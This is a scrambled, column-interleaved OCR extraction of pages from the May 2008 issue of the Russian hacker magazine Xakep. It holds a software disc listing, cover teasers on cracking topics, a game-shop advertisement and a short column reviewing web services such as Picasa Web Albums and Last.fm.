phpDesigner 2008 6.0.2 Hylafax 4.4.4 обыкновенной
Robocode 1.6 >Security Linuxdcpp 1.0.1 >Xakep.PRO web-каМеры
Visual C++ 2008 Feature Pack EchoMirage 1.2 Opera 9.27 Кодовое имя Longhorn стр. 30
Windows Mobile 6 Professional SDK EffeTech HTTP Sniffer v4.1 Webmonx 0.3.2 Прорыв сквозь PPP

№ 05(113) май 2008


Спецификации от Adobe net-snmp 5.4.13 Рецепты приготовления кальмара
Odysseus 2.0.0.84 >Security
>Games Telemachus 1.0 Clamav 0.93 >Бонус
Motorama 1.1 Dansguardian 2.9.9.3 Подкасты Radio-T
Soldat 1.4.2 >System Flawfinder 1.27 Презентации с конференции Hack
Auslogics Emergency Recovery Gnupg 2.0.9 In The Box 2008
>Misc 2.1.13 Iplog 2.2.3 По 1
дро .4
бности на стр
Ceedo 2.2.1.23 Auslogics Registry Defrag 4.1.9.96 Rkhunter 1.3.2
DExposE2 Comandiux 1.7.27.220 Sing 1.1
EssentialPIM Free 2.5 MikeOS 1.3.0 Sudo 1.6.9p15
EssentialPIM Pro 2.5 Parallels Workstation 2.2 Truecrypt 5.1a
KeePass 1.11 Parted Magic 2.1
ljCrab Postgres Plus Advanced Server 8.3 >Server
Nullsoft Install System (NSIS) 2.36 PowerStrip 3.78 Amavisd-new 2.6.0-rc2
OCR CuneiForm 12 Process Explorer 11.13 Apache 2.2.8
PrinterShare 1.0 Super Flexible File Synchronizer Asterisk 1.4.19
SAS.Планета 4.12a Bind 9.4.2
SpotAuditor 3.7.1 USB Disk Security V5.0.0.60 Courier-imap 4.3.1
TagScanner 5.0 VirtualBox 1.6 Cups 1.3.7 запароленная арМия спутник для как два линка
Time Boss PRO 2.37 Windows Vista Service Pack 1 Dbmail 2.2.9 власть лоадеров! всей сеМьи обуздать
Translate.Net 0.1 XYplorer 7.10 Dhcp 4.1.0a1
x

TranslateIt! 6.5 Dovecot 1.0.13


Методики универсальные взлоМ эффективная
TUGZip 3.5.0.0 >>UNIX Mysql 5.0.51a взлоМа паролей приеМы взлоМа спутникового TV работа
xStarter 1.9.0 >Desktop Nut 2.2.1 в Oracle триального и вынос нескольких
Abiword 2.6.2 Openldap 2.3.39 стр. 52 софта кардшаринга интернет-каналов
Alsaplayer 0.99.80 Openssh 5.0p1 стр. 62 на телевизор во FreebSD
стр. 122 стр. 138
Требуются курьеры! Достойные условия.
Классный молодой коллектив. Телефон:
Звоните: +7 (495) 780 88 25 (495) 780-8825
или пишите: [email protected]
Все цены действительны на момент публикации рекламы

Nintendo Wii PlayStation 2 Slim Xbox 360 Elite (120 GB)


9984 р. 5200 р. 17680 р.

не скучай!
дома и
в дороге PlayStation 3 (40Gb) PSP Slim & Lite
Играй! 15990 р. 7280 р.
Ïîêóïêó ìîæíî îïëàòèòü Возможность доставки Специальная цена на прис-
электронными деньгами â äåíü çàêàçà тавки при покупке 3-х игр

Advance Wars: Final Fantasy Crystal Call of Duty 4: Burnout Paradise Dark Messiah of Might Condemned 2 Devil May Cry 4 God of War: Final Fantasy Tactics:
Days of Ruin Chronicles Ring of Fates Modern Warfare and Magic - Elements Chains of The War of The Lions (PAL)
1248 р. 1508 р. 1482 р. 2080 р. 2132 р. 1950 р. 2470 р. Olympus 1560 р.
1248 р.

Blacksite: Area 51 Gran Turismo 5 Hitman Trilogy Metal Gear Solid Medal of Honor: Resident Evil: The Fire Emblem: Viking: Battle for Army of Two
(PAL) Prologue (PAL) Essentials Collection Complete Collections Umbrella Chronicles Radiant Dawn Asgard (PAL)
2132 р. 1300 р. 1560 р. 1820 р. 1560 р. 1820 р. 1924 р. 1950 р. 2210 р.
http://

WWW2
В этой мини-рубрике мы пишем об интересных и полезных web-сервисах,
Удобные вебсервисы
второго поколения

которые реально могут помочь тебе упростить и улучшить свою


сетевую жизнь.

My Cool Button 2.0


Доверь свои фотки www.mycoolbutton.com
Для одного из наших проектов срочно потребовалось нарисовать кнопочки
Google’у в стиле 2.0: красивые, модные, со стильными переливами. Но поскольку у
редакторов с художественными навыками, мягко говоря, туговато, а дело
picasaweb.google.com горело - пришлось искать альтернативный путь. Быстро выяснилось, что для
Фотографии небезопасно хранить на жестком диске, потому что он может по- этого потребуется только браузер и этот замечательный сервис. С помощью
сыпаться. DVD-диски тоже недолговечны: любая царапина может привести самой обычной страницы мы выбрали один из трех доступных стилей, указа-
к потере дорогих фоток. Да и как потом найти то, что нужно? Нет! Я давно для ли, размер, цвета, ввели текст - и, ву-а-ля, получили готовые кнопочки.
себя решил, что фотоальбом нужно ввести в Интернете, на надежном сер-
вере. А где может быть надежнее, чем у Google? Специальный сервис Picasa
Web Albums предоставляет 1 Гб пространства на каждый аккаунт, позволяя
размещать фотки высокого разрешения и удобно разбивать их по альбомам.
А вспомогательная программа Picasa поможет легко исправить огрехи на
изображениях и залить их на сервер.

Online-расчет
мощности БП
www.extreme.outervision.
Все логи в одном месте
com/psucalculator.jsp
www.im-history.com Закачивать музыку из интернета, рыская по всевозможным порталам с кучей
Я вынужден
. общаться то по Skype’у, то по Jabber’у, то по обычной аське и мне рекламы, — дело неблагодарное. Забудь про это, и попробуй онлайн-радио
приходится изрядно покопаться, чтобы найти нужный лог разговора. А если по заявкам! Укажи свои музыкальные предпочтения, вбив имена любимых
вдруг он окажется на компьютере, которого нет под рукой, то вообще пиши исполнителей. На основании этих данных будет построен твой индивиду-
пропало. В общем, появление нового сервиса, который централизованно альный плейлист. Сервису Last.fm, наиболее известному подобному ресурсу,
хранит логи из самых разных клиентов для меня оказалось очень кстати. Для удалось достичь соглашения как с крупными лейблами (EMI, Sony BMG,
работы im-history, правда, пришлось установить специальное приложение, Universal, Warner), так и независимыми исполнителями. Поэтому использо-
но зато любые логи, практически из любого мессенжера и любого компьюте- вать его ты можешь не просто бесплатно, а абсолютно бесплатно :).
ра у меня теперь всегда под рукой!

160 xàêåð 05 /113/ 08


x 05(май)08 На что способна твоя web-камера/ 7 чумовых рецептов использования обыкновенной web-камеры 113

Вам также может понравиться